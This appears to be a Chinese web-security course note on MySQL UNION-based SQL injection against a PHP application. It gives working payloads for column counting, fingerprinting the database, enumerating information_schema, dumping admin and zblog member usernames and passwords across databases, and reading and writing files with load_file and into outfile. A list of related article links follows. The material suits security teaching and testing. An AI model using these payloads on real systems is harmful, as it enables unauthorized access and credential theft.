接受的参数值未进行过滤直接带入SQL查询

MYSQL注入:(目的获取当前web权限)

1、判断常见四个信息(系统,用户,数据库名,版本)

2、根据四个信息去选择方案

root用户:先测试读写,后测试获取数据

非root用户:直接测试获取数据

#PHP-MYSQL-SQL常规查询

获取相关数据:

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户-看是否符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

MYSQL5.0以上版本:自带的数据库名information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.schemata:记录数据库名信息的表

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

schema_name:information_schema.schemata记录数据库名信息的列名值

table_schema:information_schema.tables记录数据库名的列名值

table_name:information_schema.tables记录表名的列名值

column_name:information_schema.columns记录列名的列名值

1. order by 6

这是一种常见的SQL注入测试方法,用来确定原始查询中返回的列数。如果数字6大于实际的列数,数据库会返回错误,表明查询中只有较少的列数。

2. union select 1,2,3,4,5,6

UNION操作符用于合并两个或多个SELECT语句的结果。这个语句尝试通过选择六个占位符(1, 2, 3, 4, 5, 6)来匹配原始查询的列数。如果成功,这些数字会显示在输出中,表明查询有六列。

3. union select 1,2,3,database(),user(),6

此注入语句旨在通过SQL注入攻击获取当前数据库名(database())和当前数据库用户(user())。这些值会被插入到SELECT语句的第四和第五个位置。如果成功,攻击者可以看到当前的数据库名和执行查询的数据库用户。

4. union select 1,2,3,version(),@@version_compile_os,6

此SQL注入用于获取数据库的版本信息(version())和数据库服务器运行的操作系统(@@version_compile_os)。这些信息有助于攻击者根据数据库版本和操作系统制定进一步的攻击计划。

5. union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'

此语句试图从information_schema.tables中获取名为demo01的数据库架构中的所有表名。group_concat(table_name)函数将所有表名连接成一个字符串。结果将列出demo01数据库架构中的所有表。

6. union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'

此查询用于从admin表中获取所有列名。group_concat(column_name)函数将所有列名连接成一个字符串。这可以帮助攻击者了解admin表的结构,包括列名。

7. union select 1,2,3,username,password,6 from admin limit 0,1

最后,这条语句旨在从admin表中提取usernamepassword,并限制结果只返回第一行(limit 0,1)。这可能会向攻击者提供可以用于未经授权访问的凭据。

#PHP-MYSQL-SQL跨库查询

影响条件:当前数据库ROOT用户权限

测试不同数据库用户:root demo

1. union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata

  • 目的:列出数据库服务器上的所有数据库名。
  • 解释information_schema.schemata表包含了服务器上所有数据库的名称。group_concat(schema_name)函数将这些数据库名称连接成一个字符串并返回。
  • 使用场景:攻击者通过此语句可以获取当前数据库服务器上的所有数据库名,为后续的进一步攻击提供信息。

2. union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog'

  • 目的:列出zblog数据库中的所有表名。
  • 解释information_schema.tables表包含了所有表的信息。where table_schema='zblog'筛选出特定数据库(zblog)中的所有表。group_concat(table_name)函数将这些表名连接成一个字符串并返回。
  • 使用场景:通过此语句,攻击者可以了解zblog数据库中有哪些表,从而决定哪些表可能包含有价值的数据。

3. union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog'

  • 目的:列出zblog数据库中zbp_member表的所有列名。
  • 解释information_schema.columns表包含了每个表的列信息。where table_name='zbp_member' and table_schema='zblog'条件指定从zblog数据库的zbp_member表中提取列名。group_concat(column_name)函数将这些列名连接成一个字符串并返回。
  • 使用场景:通过列出zbp_member表中的所有列名,攻击者可以了解表的结构,包括哪些字段存储了敏感数据(如用户名、密码等)。

4. union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member

  • 目的:从zblog数据库中的zbp_member表中提取用户名和密码。
  • 解释:此语句直接查询zblog数据库中的zbp_member表,提取用户的用户名(mem_Name)和密码(mem_Password)。返回的结果中包含了这些敏感数据。
  • 使用场景:这条语句是最直接的攻击方式,用于获取用户的登录信息(用户名和密码)。如果攻击成功,攻击者可能会获取到能访问系统的凭据。

#PHP-MYSQL-SQL文件读写

影响条件:

1、当前数据库用户权限

2、secure-file-priv设置

测试不同数据库用户:root demo

union select 1,load_file('d:\\1.txt'),3,4,5,6

union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt'

读写的路径的问题:

1、报错显示获取路径

2、phpinfo页面泄漏

如果不知道路径思路:

利用常见的默认的中间件,数据库等安装路径读取有价值信息

解决:单引号过滤绕过方式

SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)

第42天:WEB攻防-PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作 - 快捷方式的更多相关文章

  1. MySQL防范SQL注入风险

    MySQL防范SQL注入风险 0.导读 在MySQL里,如何识别并且避免发生SQL注入风险 1.关于SQL注入 互联网很危险,信息及数据安全很重要,SQL注入是最常见的入侵手段之一,其技术门槛低.成本 ...

  2. 第二百八十一节,MySQL数据库-SQL注入和pymysql模块防止SQL注入

    MySQL数据库-SQL注入和pymysql模块防止SQL注入 SQL注入就是通过SQL语句绕开程序判断,获取到数据库的内容 下面以一个简单的程序登录SQL注入举例: 正常登录 1.数据库有一张会员表 ...

  3. 三十一、MySQL 及 SQL 注入

    MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入 ...

  4. DB-MySql:MySQL 及 SQL 注入

    ylbtech-DB-MySQL:MySQL 及 SQL 注入 1.返回顶部 1. MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL ...

  5. mysql 跨库查询问题

    MySQL实现跨服务器查询 https://blog.csdn.net/LYK_for_dba/article/details/78180444 mysql> create database l ...

  6. PHP+Mysql防止SQL注入的方法

    这篇文章介绍的内容是关于PHP+Mysql防止SQL注入的方法,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下 方法一: mysql_real_escape_string -- 转义 S ...

  7. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  8. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  9. MySQL 及 SQL 注入

    如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符. 所谓SQL注入,就是 ...

  10. Tornado+MySQL模拟SQL注入

    实验环境: python 3.6 + Tornado 4.5 + MySQL 5.7 实验目的: 简单模拟SQL注入,实现非法用户的成功登录 一.搭建环境 1.服务端的tornado主程序app.py ...

随机推荐

  1. docker部署苍穹外卖

    首先修改配置信息和自己的docker部署信息相符:MySQL.redis.记得把MySQL数据导上去(记得数据库信息的完整) 1.通过maven下载三个jar包 2.上传,编写dockerfile,注 ...

  2. RHCA rh442 001 调优本质 调优方法 监控

    调优是一种感知 调优按照成本和性能 一.架构及调优 二.代码及调优 三.配置类调优 从调优效果和成本成正比 设计电商,日访问百万级,未来可能千万级 数据库 系统 服务器多少台 缓存 appache,n ...

  3. ubuntu系统下 vscode中如何指定conda环境

    参考: https://blog.csdn.net/mieleizhi0522/article/details/89336321 =================================== ...

  4. fatal error: GL/osmesa.h: No such file or directory

    安装mujoco报错: fatal error: GL/osmesa.h: No such file or directory 解决方法: sudo apt install libosmesa6-de ...

  5. java关于二维数组的操作

    代码: ''' package tests; public class Yanghui { public static void main(String[] args) { //声明二维数组的三种方式 ...

  6. 9组-Beta冲刺-总结

    一.基本情况 组长博客链接:9组-Beta冲刺-总结 现场答辩总结:本次答辩,我们演示了我们到Beta冲刺周结束时的成果展示,离目标还有一些距离,不过本次答辩完成了任务,总体来说还不错,希望下次最终答 ...

  7. 简简单单教你如何用C语言实现获取当前所有可用网口!

    一.获取本机所有可用网卡名 原理: 在 Linux 系统中,/proc 目录是一个位于内存中的伪文件系统. /proc目录是内核提供给我们的查询中心,通过查询该目录下的文件内容,可以获取到有关系统硬件 ...

  8. Linux离线安装Tomcat

    系统环境: centos7.3.1611 openjdk version "1.8.0_102" apache-tomcat-9.0.36.tar.gz tomcat 安装 #链接 ...

  9. linux下开发编辑器vim常用指令

    1.vim的3种模式:编辑模式.插入模式.命令行模式(最后一行模式) 编辑模式:对代码的修改(复制.粘贴.剪切 插入模式:用户编辑代码等等) 命令行模式:保存 退出 另存为等 vim3种模式的切换 最 ...

  10. Visual studio 2019 无法推送代码到 GitHub

    博客转载:VS2022 无法推送到GitHub,也无法克隆项目_vs连不上github-CSDN博客 问题描述` 使用vs2019 git无法推送到github 解决办法` 按照大神的描述设置,非常好 ...